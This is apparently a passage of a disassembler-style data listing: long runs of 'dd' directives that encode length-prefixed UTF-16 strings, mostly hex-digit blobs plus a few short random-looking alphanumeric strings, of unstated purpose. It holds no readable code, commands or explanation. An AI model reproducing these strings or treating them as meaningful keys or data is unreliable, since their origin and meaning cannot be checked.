		dd 390033h, 450039h, 440044h, 330032h, 450044h,	300032h
		dd 410039h, 340032h, 460046h, 320041h, 360032h,	350036h
		dd 330037h, 450035h, 450042h, 320045h, 460030h,	310032h
		dd 460041h, 450038h, 430046h, 420033h, 440041h,	320032h
		dd 320034h, 320044h, 420034h, 460030h, 370032h,	440044h
		dd 350038h, 360030h, 390035h, 320041h, 380031h,	450045h
		dd 360043h, 450044h, 430045h, 340046h, 330032h,	450039h
		dd 440035h, 340039h, 360045h, 350039h, 420032h,	430039h
		dd 440039h, 390037h, 450032h, 370033h, 310046h,	440036h
		dd 360044h, 390041h, 410044h, 330031h, 440038h,	330036h
		dd 370035h, 380035h, 440039h, 420035h, 350031h,	410030h
		dd 440044h, 440045h, 390031h, 460039h, 390032h,	330037h
		dd 440042h, 440035h, 370032h, 350041h, 460033h,	430045h
		dd 380038h, 360038h, 390043h, 440031h, 460039h,	380036h
		dd 420033h, 340045h, 370045h, 310033h, 310042h,	300046h
		dd 440041h, 340039h, 330045h, 390043h, 380038h,	330034h
		dd 460041h, 460033h, 0
		dd 1E8h, 390033h, 390039h, 380043h, 370041h, 390046h, 460044h
		dd 340039h, 340043h, 440042h, 460039h, 460033h,	310044h
		dd 310045h, 430045h, 450037h, 370030h, 420035h,	420032h
		dd 340037h, 420042h, 310044h, 370044h, 380039h,	340036h
		dd 310042h, 310043h, 300046h, 380044h, 380039h,	460034h
		dd 410037h, 420044h, 450042h, 360032h, 2 dup(330034h)
		dd 450036h, 440043h, 330036h, 340038h, 380037h,	440036h
		dd 340041h, 340036h, 310035h, 420037h, 440041h,	460032h
		dd 450033h, 330030h, 430030h, 390045h, 430033h,	350030h
		dd 410037h, 370030h, 430035h, 370031h, 330032h,	380033h
		dd 430041h, 450045h, 430045h, 410039h, 450045h,	440045h
		dd 310033h, 390036h, 350044h, 360046h, 430037h,	420037h
		dd 360033h, 440041h, 460033h, 450039h, 410036h,	460041h
		dd 370037h, 330038h, 370045h, 390033h, 410043h,	420032h
		dd 410044h, 390034h, 390030h, 340042h, 320038h,	300032h
		dd 440037h, 350031h, 340044h, 320044h, 330045h,	410044h
		dd 460046h, 320044h, 330045h, 330035h, 330031h,	460031h
		dd 300033h, 460032h, 320032h, 350034h, 370042h,	380042h
		dd 440031h, 370045h, 350038h, 330031h, 430044h,	450039h
		dd 440046h, 430042h, 460038h, 420033h, 330036h,	330031h
		dd 370035h, 450043h, 0
		dd 1E8h, 340038h, 340037h, 330035h, 300041h, 420033h, 380036h
		dd 390034h, 380038h, 340031h, 390036h, 310041h,	320032h
		dd 380044h, 360031h, 390043h, 410034h, 360035h,	320041h
		dd 440045h, 440033h, 350037h, 340032h, 440034h,	330034h
		dd 360043h, 330045h, 350035h, 350043h, 360037h,	340033h
		dd 450038h, 300043h, 420033h, 370034h, 340033h,	340042h
		dd 380037h, 410044h, 450031h, 340042h, 370042h,	360044h
		dd 380037h, 430036h, 310043h, 310042h, 360044h,	370045h
		dd 330035h, 360035h, 450034h, 320042h, 410035h,	440042h
		dd 390035h, 310039h, 390044h, 430042h, 440038h,	310030h
		dd 430039h, 350036h, 300045h, 460038h, 320031h,	330045h
		dd 330041h, 390045h, 350041h, 410035h, 430046h,	380034h
		dd 320034h, 440033h, 360034h, 420038h, 460031h,	460038h
		dd 360041h, 370037h, 340043h, 300039h, 450045h,	380034h
		dd 380036h, 320032h, 460038h, 320038h, 460043h,	340044h
		dd 440032h, 390036h, 340041h, 360044h, 350030h,	360037h
		dd 430033h, 300031h, 420033h, 310041h, 390036h,	390039h
		dd 450030h, 340044h, 430044h, 410039h, 340043h,	420034h
		dd 450030h, 370044h, 420036h, 300036h, 330033h,	320036h
		dd 350032h, 410034h, 450043h, 340034h, 440043h,	420046h
		dd 430035h, 390033h, 0
		dd 1E8h, 450046h, 360032h, 320031h, 330030h, 360033h, 450043h
		dd 420037h, 320030h, 430046h, 420032h, 340032h,	410041h
		dd 330042h, 410030h, 310038h, 370039h, 440034h,	350042h
		dd 330041h, 380035h, 450032h, 310039h, 440034h,	370045h
		dd 320037h, 320035h, 300046h, 420038h, 330033h,	340034h
		dd 430045h, 370043h, 300030h, 320031h, 450035h,	390031h
		dd 360044h, 420038h, 390046h, 310037h, 350039h,	440030h
		dd 450038h, 330038h, 380042h, 370038h, 370043h,	340037h
		dd 440035h, 390031h, 320034h, 2	dup(330046h), 430034h
		dd 410039h, 390043h, 320030h, 350031h, 450031h,	390041h
		dd 370032h, 430036h, 330042h, 310044h, 380045h,	410045h
		dd 410031h, 300030h, 370039h, 390033h, 340038h,	310046h
		dd 330032h, 390042h, 390038h, 390039h, 340030h,	410042h
		dd 380034h, 350042h, 420039h, 340042h, 420034h,	390041h
		dd 300046h, 370044h, 340032h, 390043h, 420037h,	430039h
		dd 370045h, 380038h, 390043h, 420041h, 320034h,	340036h
		dd 390037h, 360030h, 320045h, 380034h, 360041h,	380042h
		dd 340035h, 340031h, 330035h, 370037h, 420031h,	440037h
		dd 300039h, 350046h, 390038h, 430042h, 410043h,	440034h
		dd 340042h, 370045h, 390045h, 440031h, 350042h,	340042h
		dd 420042h, 450038h, 0
		dd 1E8h, 310041h, 380039h, 370030h, 460034h, 390035h, 440043h
		dd 350038h, 460034h, 340044h, 440032h, 310031h,	310038h
		dd 440037h, 460035h, 340042h, 330030h, 340043h,	310034h
		dd 420034h, 330034h, 330045h, 380035h, 450043h,	300041h
		dd 320045h, 340038h, 440030h, 420031h, 370039h,	430031h
		dd 410042h, 370031h, 380041h, 390045h, 450045h,	310033h
		dd 410045h, 460034h, 360043h, 310034h, 340044h,	300042h
		dd 370031h, 330033h, 420045h, 390030h, 420039h,	450038h
		dd 370045h, 310046h, 300037h, 360044h, 390030h,	320037h
		dd 420035h, 380046h, 420042h, 330044h, 390039h,	390043h
		dd 2 dup(460037h), 360042h, 410034h, 310045h, 460046h
		dd 370043h, 430045h, 300037h, 310039h, 390041h,	320036h
		dd 340046h, 420037h, 410038h, 340031h, 440033h,	450036h
		dd 420036h, 410035h, 410033h, 350041h, 360033h,	450038h
		dd 330039h, 430031h, 370042h, 310041h, 380037h,	420041h
		dd 300043h, 440031h, 380041h, 310031h, 380035h,	340041h
		dd 410043h, 390030h, 440037h, 410030h, 410037h,	460032h
		dd 340033h, 440045h, 460043h, 340043h, 300032h,	310044h
		dd 410044h, 310045h, 320043h, 380046h, 410038h,	350036h
		dd 330034h, 460046h, 350042h, 340034h, 310030h,	390031h
		dd 310038h, 430042h, 0
		dd 1E8h, 340042h, 440042h, 320038h, 320033h, 390033h, 380046h
		dd 320041h, 450030h, 410045h, 440042h, 430031h,	360039h
		dd 450030h, 320044h, 450046h, 460038h, 310036h,	330032h
		dd 300045h, 360031h, 460041h, 460044h, 320044h,	350032h
		dd 310033h, 310030h, 320042h, 450043h, 390038h,	310032h
		dd 360032h, 390033h, 410034h, 390036h, 430034h,	390030h
		dd 320031h, 440034h, 440043h, 330044h, 380038h,	440042h
		dd 310041h, 380032h, 460034h, 450033h, 460038h,	320042h
		dd 380038h, 370044h, 320045h, 440042h, 330041h,	320044h
		dd 410046h, 330044h, 430033h, 440046h, 340046h,	450034h
		dd 350041h, 440038h, 310031h, 360044h, 390033h,	370037h
		dd 380031h, 330038h, 350030h, 360033h, 450030h,	440035h
		dd 380037h, 390032h, 390035h, 300039h, 320031h,	440041h
		dd 420036h, 460039h, 310034h, 360041h, 340037h,	340045h
		dd 360042h, 300033h, 300032h, 350044h, 330035h,	320032h
		dd 350038h, 410034h, 410044h, 360037h, 390037h,	360038h
		dd 460039h, 350041h, 460041h, 370046h, 300034h,	310039h
		dd 370044h, 460033h, 330037h, 300037h, 360036h,	330033h
		dd 440032h, 460033h, 350037h, 360032h, 360044h,	450045h
		dd 350031h, 430045h, 360032h, 380042h, 460032h,	380042h
		dd 360030h, 370032h, 0
		dd 1E8h, 310035h, 320030h, 380034h, 300033h, 390043h, 410041h
		dd 330038h, 330044h, 410032h, 320037h, 300045h,	370030h
		dd 430046h, 450041h, 460039h, 2	dup(430039h), 460041h
		dd 460030h, 460038h, 370044h, 330037h, 460037h,	390041h
		dd 340033h, 310030h, 450031h, 380036h, 320045h,	370042h
		dd 360034h, 300034h, 460032h, 330035h, 370036h,	420035h
		dd 360035h, 440032h, 420036h, 410034h, 390033h,	380032h
		dd 350030h, 430038h, 420035h, 300035h, 340036h,	300036h
		dd 350046h, 460038h, 380031h, 320041h, 390032h,	430036h
		dd 430034h, 390031h, 380042h, 370032h, 430034h,	330030h
		dd 350037h, 340033h, 320045h, 390041h, 430037h,	440041h
		dd 390046h, 410044h, 380045h, 390032h, 370042h,	420034h
		dd 430034h, 350037h, 370036h, 380042h, 440030h,	450043h
		dd 330033h, 330044h, 370031h, 440041h, 330046h,	310037h
		dd 410030h, 380033h, 440037h, 360031h, 340034h,	370038h
		dd 380038h, 410037h, 380043h, 320030h, 300030h,	410045h
		dd 410036h, 450035h, 410033h, 410030h, 440046h,	380038h
		dd 450046h, 380044h, 420030h, 370044h, 340032h,	350033h
		dd 450043h, 320036h, 310032h, 450039h, 460038h,	300037h
		dd 360041h, 320032h, 340039h, 310046h, 300032h,	360037h
		dd 350032h, 390043h, 0
		dd 1E8h, 350034h, 310041h, 370039h, 440037h, 370030h, 370033h
		dd 300030h, 430042h, 310041h, 330030h, 410031h,	460041h
		dd 420038h, 380036h, 350035h, 300032h, 300034h,	350033h
		dd 340042h, 330034h, 420035h, 330041h, 430039h,	340035h
		dd 360033h, 430043h, 300044h, 420032h, 450035h,	340039h
		dd 410033h, 350030h, 320033h, 360031h, 320038h,	420032h
		dd 350035h, 350036h, 460046h, 360045h, 340031h,	460034h
		dd 440037h, 370046h, 380045h, 390042h, 340042h,	340033h
		dd 380037h, 460038h, 460041h, 370031h, 310032h,	450035h
		dd 370041h, 420034h, 320030h, 450038h, 310045h,	380037h
		dd 390038h, 370031h, 310043h, 300030h, 360043h,	430036h
		dd 380045h, 300030h, 420042h, 320041h, 390034h,	430033h
		dd 430036h, 420039h, 300039h, 310046h, 460034h,	390036h
		dd 380042h, 410045h, 390037h, 390032h, 350039h,	460043h
		dd 310043h, 310037h, 350034h, 390042h, 450033h,	310034h
		dd 320041h, 310036h, 350043h, 300034h, 370041h,	330035h
		dd 390044h, 370039h, 310043h, 340038h, 420031h,	410038h
		dd 460031h, 370032h, 380031h, 360039h, 340044h,	410033h
		dd 360034h, 450033h, 360046h, 430038h, 360042h,	460035h
		dd 410046h, 440039h, 380039h, 420030h, 300031h,	430032h
		dd 350039h, 330037h, 0
		dd 1E8h, 350041h, 390030h, 450045h, 330038h, 310041h, 410044h
		dd 440038h, 380033h, 460042h, 330045h, 350030h,	430035h
		dd 370035h, 320034h, 320045h, 370033h, 380033h,	440041h
		dd 440046h, 440043h, 350038h, 320037h, 420043h,	370045h
		dd 310043h, 320041h, 310032h, 430035h, 430036h,	310037h
		dd 370033h, 430044h, 340038h, 300044h, 430043h,	390041h
		dd 380038h, 380041h, 310036h, 310030h, 350036h,	370030h
		dd 430039h, 450038h, 440036h, 420030h, 430034h,	440034h
		dd 450033h, 320044h, 430043h, 450032h, 370035h,	410039h
		dd 430041h, 430043h, 430036h, 300038h, 460031h,	420030h
		dd 370033h, 410033h, 300033h, 310045h, 350037h,	440041h
		dd 330035h, 330039h, 380046h, 320045h, 380033h,	440035h
		dd 320033h, 420032h, 360032h, 320035h, 410036h,	450037h
		dd 380037h, 340034h, 450037h, 430037h, 430039h,	310032h
		dd 2 dup(390038h), 340037h, 460042h, 430037h, 380045h
		dd 410037h, 350037h, 390038h, 420045h, 430034h,	430032h
		dd 330046h, 320033h, 410038h, 320032h, 390035h,	300044h
		dd 350045h, 460044h, 360034h, 380038h, 360033h,	430031h
		dd 340036h, 310031h, 340032h, 380036h, 340045h,	440031h
		dd 320036h, 440035h, 410039h, 430039h, 390035h,	450036h
		dd 410035h, 300042h, 0
		dd 1Ch,	35004Eh, 36006Ah, 300055h, 700047h, 520030h, 550057h
		dd 670032h, 0
		dd 1Eh,	380037h, 64006Bh, 37006Ah, 520036h, 360059h, 390057h
		dd 350056h, 56h, 14h, 740075h, 56006Fh,	5A0036h, 4B0076h
		dd 78004Fh, 0
		dd 14h,	36006Eh, 32004Dh, 58006Dh, 440043h, 340037h, 0
		dd 20h,	4A0032h, 380053h, 510066h, 740048h, 58004Bh, 330076h
		dd 440049h, 670064h, 0
		dd 1Ah,	77007Ah, 320036h, 760078h, 370046h, 300076h, 720034h
		dd 73h,	12h, 48004Ch, 73004Fh, 450061h,	790035h, 70h, 1Eh
		dd 320034h, 310053h, 640030h, 720079h, 610078h,	5A0039h
		dd 39004Eh, 31h, 1Ah, 540063h, 650032h,	360037h, 740034h
		dd 780050h, 620037h, 66h, 12h, 560036h,	550078h, 620035h
		dd 33004Ch, 34h, 12h, 410065h, 340068h,	380074h, 720047h
		dd 33h,	20h, 6F0076h, 350030h, 6D006Bh,	550042h, 4B0041h
		dd 330068h, 690036h, 700035h, 0
		dd 1Eh,	5A006Dh, 4C0078h, 46004Bh, 690034h, 4D0036h, 320030h
		dd 39004Fh, 4Ah, 14h, 780031h, 350044h,	370037h, 63006Ah
		dd 730069h, 0
		dd 1E8h, 350042h, 460045h, 450033h, 390036h, 310041h, 300033h
		dd 430044h, 420042h, 390041h, 360042h, 450042h,	360044h
		dd 420045h, 300043h, 350045h, 420042h, 430044h,	300042h
		dd 430035h, 450039h, 340036h, 340039h, 390036h,	300037h
		dd 300034h, 320046h, 380032h, 300031h, 340046h,	420030h
		dd 460037h, 300043h, 440034h, 300046h, 380030h,	320036h
		dd 410031h, 300041h, 320034h, 310036h, 370035h,	460042h
		dd 430039h, 420031h, 370042h, 320039h, 300046h,	320042h
		dd 370043h, 460046h, 340035h, 340037h, 390043h,	460041h
		dd 420044h, 460044h, 350044h, 440032h, 320046h,	320037h
		dd 310037h, 450045h, 440042h, 320037h, 390036h,	420034h
		dd 320036h, 360038h, 430035h, 370043h, 350038h,	370031h
		dd 420034h, 390034h, 380045h, 300035h, 420037h,	440032h
		dd 340032h, 300045h, 410036h, 350045h, 460032h,	330035h
		dd 380030h, 450037h, 310034h, 460037h, 340044h,	450030h
		dd 460042h, 340045h, 330044h, 460030h, 380045h,	380031h
		dd 390036h, 410033h, 380039h, 440042h, 360046h,	410033h
		dd 440045h, 390039h, 460035h, 380030h, 460039h,	330041h
		dd 390030h, 440035h, 350032h, 440039h, 370032h,	300031h
		dd 440032h, 310045h, 350036h, 360035h, 320046h,	390046h
		dd 310039h, 330035h, 0
		dd 1E8h, 330030h, 350033h, 320037h, 440041h, 300043h, 300041h
		dd 340038h, 460037h, 460038h, 370033h, 310038h,	410032h
		dd 460044h, 340034h, 360044h, 310038h, 450030h,	320042h
		dd 410045h, 450032h, 430035h, 430045h, 410046h,	410034h
		dd 340031h, 460039h, 300045h, 300035h, 390031h,	370043h
		dd 330032h, 410046h, 340030h, 430034h, 370041h,	330034h
		dd 300038h, 330039h, 430033h, 370044h, 310046h,	360043h
		dd 430039h, 330046h, 370037h, 390042h, 440031h,	300044h
		dd 430044h, 460035h, 420030h, 370038h, 360039h,	450043h
		dd 340037h, 330042h, 310030h, 350031h, 310032h,	410046h
		dd 340036h, 340032h, 300044h, 300038h, 300037h,	410032h
		dd 300045h, 310045h, 440046h, 420041h, 340041h,	430046h
		dd 300045h, 390032h, 320045h, 430035h, 420042h,	350030h
		dd 410042h, 330039h, 390034h, 330039h, 350032h,	380030h
		dd 380039h, 430043h, 380045h, 300046h, 330035h,	420037h
		dd 430046h, 410045h, 390037h, 300046h, 390034h,	300043h
		dd 380033h, 330037h, 430030h, 320039h, 360036h,	310039h
		dd 320041h, 390043h, 460041h, 380030h, 340045h,	350043h
		dd 320034h, 450043h, 370041h, 320043h, 450035h,	460043h
		dd 460039h, 430030h, 440039h, 460033h, 420030h,	390043h
		dd 450045h, 300045h, 0
		dd 1E8h, 330034h, 360039h, 380041h, 300043h, 450041h, 360044h
		dd 420030h, 320035h, 450044h, 420045h, 350031h,	460037h
		dd 460043h, 380033h, 330043h, 330031h, 350034h,	320032h
		dd 380031h, 390046h, 460030h, 460035h, 370043h,	350042h
		dd 410034h, 310032h, 410039h, 360044h, 350033h,	300044h
		dd 460037h, 440045h, 340041h, 340044h, 450031h,	410036h
		dd 350044h, 420042h, 410039h, 440041h, 390030h,	420043h
		dd 350031h, 320045h, 300041h, 360044h, 390042h,	430046h
		dd 460041h, 350046h, 430046h, 450036h, 360041h,	350030h
		dd 390038h, 350045h, 410036h, 440035h, 370031h,	320045h
		dd 440041h, 300030h, 350033h, 330041h, 330044h,	300037h
		dd 300046h, 390043h, 410036h, 300046h, 300030h,	320032h
		dd 360039h, 360045h, 350031h, 440045h, 340039h,	410039h
		dd 460043h, 370044h, 450041h, 370039h, 360038h,	370045h
		dd 340043h, 460033h, 360046h, 350043h, 340038h,	420042h
		dd 300042h, 300037h, 320042h, 420039h, 390046h,	380038h
		dd 300038h, 390036h, 330031h, 300030h, 430038h,	300037h
		dd 320031h, 440038h, 410045h, 380033h, 390034h,	460038h
		dd 330045h, 430032h, 380030h, 420042h, 450041h,	380030h
		dd 440045h, 430045h, 350038h, 430032h, 320032h,	350039h
		dd 440044h, 430033h, 0
		dd 1E8h, 380030h, 440035h, 340034h, 460032h, 410036h, 430044h
		dd 370034h, 350037h, 450046h, 390036h, 380046h,	450031h
		dd 370035h, 300035h, 310032h, 330038h, 460030h,	320046h
		dd 420031h, 390035h, 460034h, 300039h, 430044h,	320042h
		dd 410041h, 330033h, 460042h, 330045h, 300041h,	390033h
		dd 340033h, 330042h, 440039h, 320042h, 330031h,	410044h
		dd 440043h, 320041h, 390044h, 390036h, 320045h,	460041h
		dd 430035h, 430044h, 430041h, 350043h, 440034h,	330036h
		dd 420039h, 320030h, 310034h, 460035h, 460030h,	340046h
		dd 370030h, 350034h, 410042h, 410041h, 440039h,	440038h
		dd 410046h, 440045h, 370038h, 440034h, 380030h,	460042h
		dd 440034h, 300033h, 330031h, 330044h, 360043h,	440043h
		dd 420033h, 390041h, 340033h, 310046h, 440036h,	420031h
		dd 350030h, 390031h, 350034h, 330038h, 370043h,	430037h
		dd 410031h, 360033h, 420035h, 300036h, 370032h,	370041h
		dd 2 dup(350036h), 370032h, 380030h, 360045h, 430037h
		dd 300031h, 330036h, 320037h, 300038h, 410033h,	380041h
		dd 350044h, 370039h, 330041h, 450036h, 300043h,	390046h
		dd 440045h, 320031h, 380046h, 390033h, 310033h,	430032h
		dd 410046h, 440038h, 440030h, 440039h, 310039h,	300046h
		dd 310032h, 330044h, 0
		dd 1E8h, 390037h, 450039h, 420037h, 430036h, 410039h, 450045h
		dd 380037h, 370044h, 460033h, 300042h, 390041h,	380038h
		dd 320045h, 410042h, 390039h, 330035h, 2 dup(360035h)
		dd 310031h, 410046h, 360036h, 440032h, 450035h,	360031h
		dd 440033h, 460041h, 440039h, 450043h, 310030h,	430045h
		dd 450032h, 420038h, 440041h, 410038h, 300042h,	430032h
		dd 440042h, 390044h, 410045h, 360036h, 300034h,	300036h
		dd 450044h, 430041h, 390044h, 370033h, 420046h,	310033h
		dd 350046h, 430044h, 440044h, 330036h, 320036h,	320044h
		dd 450046h, 410044h, 460036h, 390042h, 300031h,	410038h
		dd 350042h, 430039h, 370035h, 320034h, 380037h,	300035h
		dd 460035h, 430033h, 360030h, 350035h, 350042h,	340031h
		dd 330045h, 380043h, 430044h, 320039h, 340038h,	380038h
		dd 320033h, 390037h, 370035h, 410036h, 430043h,	2 dup(360044h)
		dd 380041h, 340032h, 460035h, 460031h, 350042h,	410034h
		dd 320039h, 330039h, 320032h, 430035h, 460033h,	430032h
		dd 450032h, 350032h, 320046h, 390038h, 330037h,	420031h
		dd 440041h, 380043h, 300033h, 440038h, 370044h,	440034h
		dd 350036h, 420034h, 410038h, 450042h, 350046h,	390039h
		dd 370041h, 320042h, 460033h, 310044h, 460044h,	310038h
		dd 310044h, 0
		dd 1E8h, 390030h, 320030h, 410036h, 300043h, 330037h, 390035h
		dd 360030h, 360034h, 310043h, 340045h, 420035h,	340046h
		dd 420034h, 430042h, 360041h, 330042h, 320038h,	360042h
		dd 350045h, 340032h, 450043h, 440038h, 460043h,	410043h
		dd 330032h, 330036h, 300035h, 450045h, 430042h,	390033h
		dd 340034h, 460045h, 320035h, 410038h, 370038h,	300044h
		dd 390045h, 330038h, 420041h, 380031h, 430044h,	330037h
		dd 430030h, 330041h, 450036h, 460045h, 450044h,	460034h
		dd 410042h, 440032h, 370038h, 390032h, 300037h,	350044h
		dd 340039h, 350030h, 420033h, 390046h, 410033h,	440034h
		dd 320045h, 320034h, 390032h, 430038h, 380030h,	420034h
		dd 440036h, 390030h, 360042h, 380043h, 340036h,	330038h
		dd 420042h, 440046h, 380036h, 310036h, 340033h,	410042h
		dd 380046h, 300042h, 440043h, 390039h, 330045h,	450030h
		dd 380044h, 370038h, 430033h, 450032h, 320045h,	320042h
		dd 450039h, 460034h, 450042h, 330045h, 310033h,	420031h
		dd 380032h, 310044h, 300034h, 360032h, 450036h,	370037h
		dd 340042h, 390035h, 370035h, 410034h, 430037h,	440031h
		dd 420046h, 340038h, 350041h, 460030h, 340039h,	380032h
		dd 320046h, 440046h, 390042h, 370046h, 450041h,	430030h
		dd 360041h, 410031h, 0
		dd 1E8h, 330037h, 360033h, 380031h, 380037h, 450030h, 420030h
		dd 430036h, 430038h, 350031h, 430038h, 320042h,	390046h
		dd 450041h, 370031h, 460035h, 380046h, 300038h,	390043h
		dd 340045h, 450042h, 460032h, 430038h, 450037h,	300037h
		dd 300045h, 300044h, 420043h, 410033h, 310041h,	450044h
		dd 420044h, 300036h, 310042h, 330046h, 450041h,	390041h
		dd 300036h, 440043h, 340038h, 380037h, 330035h,	320041h
		dd 360042h, 380036h, 420044h, 420030h, 430038h,	440038h
		dd 300042h, 340042h, 300036h, 450035h, 330042h,	360031h
		dd 320036h, 390039h, 450045h, 340036h, 420043h,	370044h
		dd 380035h, 450042h, 370032h, 380032h, 360044h,	2 dup(370033h)
		dd 360045h, 350042h, 310036h, 380038h, 340036h,	450044h
		dd 370038h, 430041h, 420038h, 310034h, 460032h,	410036h
		dd 390038h, 380042h, 350035h, 360036h, 460030h,	390043h
		dd 310042h, 310043h, 310044h, 340036h, 350030h,	320036h
		dd 440044h, 350034h, 390045h, 380033h, 340042h,	370037h
		dd 460039h, 350032h, 440044h, 450032h, 430038h,	350044h
		dd 420043h, 330037h, 330039h, 420041h, 350032h,	320036h
		dd 300036h, 370031h, 410031h, 410036h, 370041h,	390039h
		dd 340032h, 330033h, 380032h, 300034h, 390041h,	430038h
		dd 320046h, 0
		dd 1E8h, 300035h, 340030h, 310044h, 420036h, 300030h, 350046h
		dd 350043h, 370036h, 340035h, 330041h, 340034h,	350031h
		dd 450036h, 440041h, 340033h, 360038h, 380031h,	460031h
		dd 430035h, 460033h, 320044h, 420044h, 300046h,	320035h
		dd 370031h, 460045h, 410044h, 420041h, 460043h,	440034h
		dd 410034h, 410045h, 460043h, 420044h, 350039h,	420043h
		dd 450041h, 420034h, 340043h, 340036h, 380036h,	360046h
		dd 440038h, 380046h, 360031h, 380041h, 460033h,	310042h
		dd 420039h, 370042h, 300045h, 460042h, 310038h,	300033h
		dd 310043h, 410042h, 320046h, 310044h, 380042h,	320046h
		dd 390035h, 450046h, 410043h, 360045h, 370044h,	430037h
		dd 450032h, 380035h, 440044h, 340037h, 370035h,	330046h
		dd 380039h, 440039h, 300033h, 320034h, 390035h,	320030h
		dd 450033h, 420039h, 350034h, 330039h, 330031h,	410045h
		dd 350032h, 310034h, 430035h, 300044h, 330037h,	360043h
		dd 450037h, 430037h, 340043h, 370042h, 390044h,	320036h
		dd 390038h, 440046h, 450032h, 330043h, 370038h,	380039h
		dd 360032h, 330045h, 460038h, 450030h, 420035h,	450039h
		dd 420036h, 430030h, 300045h, 310031h, 370036h,	410042h
		dd 320041h, 300031h, 450032h, 380030h, 420046h,	370041h
		dd 330043h, 320039h, 0
		dd 1E8h, 380045h, 350037h, 380043h, 310042h, 300046h, 410041h
		dd 370046h, 410035h, 370031h, 370042h, 420042h,	360038h
		dd 300035h, 460042h, 390032h, 420037h, 430037h,	430043h
		dd 420036h, 350044h, 350042h, 330043h, 440039h,	390039h
		dd 380042h, 440045h, 300034h, 380043h, 300030h,	360035h
		dd 430036h, 430044h, 380044h, 360042h, 430039h,	360031h
		dd 380034h, 370046h, 300043h, 330044h, 310043h,	430036h
		dd 430034h, 310036h, 360044h, 320034h, 390032h,	420036h
		dd 320038h, 370042h, 340032h, 360038h, 350043h,	450034h
		dd 310031h, 320039h, 410035h, 420037h, 350033h,	370031h
		dd 410034h, 370044h, 420032h, 330033h, 330045h,	340034h
		dd 410034h, 330035h, 420030h, 320036h, 350046h,	370035h
		dd 450031h, 430046h, 340034h, 430044h, 370032h,	370046h
		dd 330031h, 390031h, 440030h, 330039h, 440032h,	390034h
		dd 320042h, 320030h, 370036h, 430036h, 360035h,	430037h
		dd 420045h, 330038h, 350038h, 440039h, 380042h,	350041h
		dd 330034h, 330045h, 370041h, 440045h, 330041h,	310035h
		dd 350045h, 350043h, 340037h, 430031h, 360033h,	420032h
		dd 390033h, 420034h, 370036h, 410043h, 330034h,	380046h
		dd 330036h, 440041h, 430041h, 460041h, 320031h,	300046h
		dd 380031h, 340044h, 0
		dd 1E8h, 410035h, 460045h, 350043h, 320036h, 310031h, 420039h
		dd 370032h, 440034h, 420034h, 440043h, 380044h,	420030h
		dd 340044h, 390034h, 430044h, 300042h, 390036h,	440032h
		dd 430039h, 340032h, 330032h, 330046h, 440046h,	320046h
		dd 440038h, 370032h, 340031h, 410033h, 380042h,	360032h
		dd 380039h, 330038h, 320044h, 460038h, 380035h,	350035h
		dd 460045h, 320043h, 310045h, 420030h, 340030h,	360042h
		dd 450035h, 420031h, 370038h, 430038h, 440046h,	320046h
		dd 310037h, 310033h, 380041h, 310038h, 310042h,	420035h
		dd 340030h, 330039h, 440045h, 320044h, 350033h,	320033h
		dd 330030h, 360044h, 390030h, 310044h, 420046h,	370043h
		dd 390037h, 440036h, 300044h, 360035h, 410039h,	310035h
		dd 360037h, 380038h, 370031h, 430042h, 430031h,	340043h
		dd 300031h, 390041h, 420036h, 430042h, 370030h,	460034h
		dd 300034h, 330038h, 390033h, 440035h, 440043h,	360037h
		dd 430037h, 300039h, 360044h, 370031h, 370041h,	460034h
		dd 430039h, 340043h, 360045h, 410044h, 380042h,	310039h
		dd 360032h, 330043h, 410030h, 340046h, 350037h,	430046h
		dd 390044h, 430039h, 330042h, 460030h, 330030h,	410041h
		dd 460038h, 450030h, 360037h, 310030h, 450030h,	350044h
		dd 440044h, 430045h, 0
		dd 1E8h, 320038h, 320039h, 420032h, 420039h, 440045h, 460045h
		dd 410035h, 360034h, 340032h, 350032h, 350037h,	460041h
		dd 340043h, 350030h, 320038h, 430046h, 410039h,	320033h
		dd 410039h, 330034h, 300043h, 460038h, 440036h,	300041h
		dd 430030h, 2 dup(460046h), 390036h, 330030h, 320034h
		dd 420035h, 420041h, 460030h, 360035h, 390046h,	330045h
		dd 370034h, 430032h, 390042h, 320038h, 420037h,	390035h
		dd 330036h, 460042h, 330042h, 360037h, 350039h,	450035h
		dd 390045h, 430031h, 430045h, 380031h, 350034h,	410030h
		dd 340041h, 370033h, 330046h, 440041h, 350035h,	460030h
		dd 390042h, 310039h, 450037h, 340046h, 300045h,	390030h
		dd 370030h, 320037h, 440030h, 390034h, 370031h,	420033h
		dd 410031h, 370035h, 360033h, 340046h, 320037h,	440046h
		dd 320044h, 330042h, 410039h, 330045h, 370042h,	340032h
		dd 430043h, 320033h, 330037h, 310036h, 310043h,	310044h
		dd 370045h, 300031h, 350042h, 450034h, 300033h,	390031h
		dd 450032h, 340045h, 410038h, 340034h, 320038h,	460035h
		dd 370039h, 420046h, 300039h, 410042h, 410035h,	390031h
		dd 310031h, 330035h, 460046h, 360033h, 460038h,	370032h
		dd 310042h, 420033h, 410037h, 310035h, 360044h,	310034h
		dd 300042h, 390043h, 0
		dd 1E8h, 390033h, 320043h, 300037h, 380042h, 340031h, 440032h
		dd 420038h, 460046h, 310045h, 460036h, 430044h,	390041h
		dd 450044h, 420037h, 390031h, 410033h, 360038h,	430043h
		dd 440033h, 430035h, 430039h, 350046h, 350033h,	450033h
		dd 410035h, 300032h, 360035h, 360043h, 300030h,	390037h
		dd 420043h, 380046h, 370035h, 340045h, 340033h,	330034h
		dd 300030h, 340033h, 440037h, 330039h, 410034h,	360044h
		dd 340032h, 360031h, 360044h, 430039h, 420037h,	450031h
		dd 440035h, 340044h, 320043h, 410038h, 330033h,	460044h
		dd 320041h, 310045h, 460038h, 440034h, 340045h,	340043h
		dd 370035h, 390032h, 320032h, 350034h, 350042h,	330033h
		dd 430037h, 340034h, 300037h, 380033h, 320046h,	410038h
		dd 360037h, 420034h, 370042h, 430036h, 350038h,	320030h
		dd 320038h, 300033h, 390032h, 440033h, 330037h,	320033h
		dd 450035h, 450036h, 440032h, 410035h, 350034h,	330035h
		dd 380044h, 320043h, 420043h, 420031h, 380037h,	460044h
		dd 410036h, 300034h, 330044h, 430043h, 430034h,	350042h
		dd 440035h, 320032h, 380030h, 450036h, 410031h,	300045h
		dd 450045h, 390032h, 360041h, 370045h, 410039h,	330030h
		dd 300038h, 460038h, 340033h, 310044h, 330038h,	310046h
		dd 440031h, 430032h, 0
		dd 1E8h, 440030h, 370039h, 460032h, 350030h, 350036h, 370044h
		dd 430035h, 450036h, 410042h, 380038h, 460042h,	300043h
		dd 370046h, 330046h, 360042h, 370031h, 410043h,	460030h
		dd 430044h, 390044h, 420032h, 320043h, 320036h,	390042h
